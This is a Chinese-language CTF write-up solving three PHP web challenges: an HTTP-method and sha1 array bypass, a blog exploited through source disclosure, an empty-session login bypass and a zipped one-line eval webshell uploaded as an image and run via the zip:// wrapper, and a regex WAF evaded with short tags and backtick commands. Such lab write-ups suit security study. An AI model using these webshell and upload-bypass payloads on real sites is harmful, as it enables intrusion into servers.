[极客大挑战 2020]Roamphp1-Welcome
已进入页面,以为是这道题的环境不对,可是查看f12竟然有东西,然后查一下405
请求方式有误,比如应该用GET请求方式的资源,用了POST
改为post请求方式,出现源码,然后就是sha1函数漏洞,数组绕过即可
[极客大挑战 2020]Roamphp2-Myblog
打开界面不允许注册,page传参的过程中page=login,因为我以前见过的都是login.php所以这感觉会有些问题,试一下伪协议读取源码
应该能读取到的,上面的登录没有后缀.php所以我觉得可能是默认加上.php猜测
<?php
require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>
然后继续访问secret.php
<?php
$secret_seed = mt_rand();
?>
上面的文件代码的意思也就是password是从cookie中随机整数拼凑而成,肯定还有一个文件去使用他俩我们找一下,
这里,因为是自动加上了.php所以,试一下admin/user是不是一个文件,解码获得
<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself
$logined = true;
$_SESSION['status'] = $logined;
}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
die();
}
?>
从这里我们知道了username,password是cookie随机拼凑而成,所以我们可以删除掉cookie,这样我们密码为空,就可以相等
删除掉cookie得值,可是限制了密码不能为空,看一下密码得文本框源码
这里有个require,删除掉就可以输入空白
这有上传照片得功能,源码就是下面
<?php
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
$tmp_file = $_FILES['Files']['name'];
$tmp_path = $_FILES['Files']['tmp_name'];
if(($extension = pathinfo($tmp_file)['extension']) != ""){//文件的后缀不能为空
$allows = array('gif','jpeg','jpg','png');//白名单
if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);//更改上传文件得位置
echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
} else {
echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
}
}
}
?>
可以看到,他设置了白名单,但我想传一句话木马上去,而且上传成功的话他会告诉你上传的路径,然后再用之前可以传的page参数可以解析伪协议的,但是并不确定是否可以php文件也会被解析,先不想那么多,做来看。坚定了我传木马的决心,这里想到了将php文件打包成zip,改后缀名为jpg,再利用zip伪协议进行读取。zip协议是可以解压缩jpg后缀的压缩包的。
构造
<?php @eval($_POST['cmd']);?> 的php然后压缩,把zip改为白名单中的png
上传成功, 获得路径,然后访问一下路径看文件是否真的上传成功
上传成功,然后使用zip这个伪协议
zip:// + zip路径 + %23 + php文件名 (由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23)
http://82165fb2-5d53-4a86-a386-04058d68f23c.node4.buuoj.cn:81/?page=zip://./assets/img/upload/901edcb2cb7e73704f556f4c50d8b1ee3e7f428d.jpg%231
这里不加.php后缀是因为在index.php包含的时候默认加上了,还要注意zip协议后面跟的是./因为没有去看绝对路径。
然后通过post传参shell=system('ls');获取目录,最后获得flag
[红明谷CTF 2021]write_shell
打开界面,发现了源码,进行审计
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input; //这个实现的主要就是正则过滤
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; //沙箱,和ip的md加密链接在一起
if(!file_exists($dir)){ //如果文件不存在就创建一个
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir; //从这可以获得dir目录
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
//这把命令写入前面的文件中,如果我们写入一个一句话木马应该可以ak
}
?>
整体看下来,要执行check过滤函数,我们就需要执行,waf的else部分,然后过滤掉了php、eval可以用PHP短标签进行绕过,比如
<?=`ls%09/`?>然后传参就可以获得flag
第一步,获得dir
sandbox/c47b21fcf8f0bc8b3920541abd8024fd/
第二步get 传参
然后我们可以访问刚才获得沙箱界面查看回显
这里注意过滤掉了空格可以用 %09或\t代替
<?=`ls%09/`?>
<?=`ls\t/`?>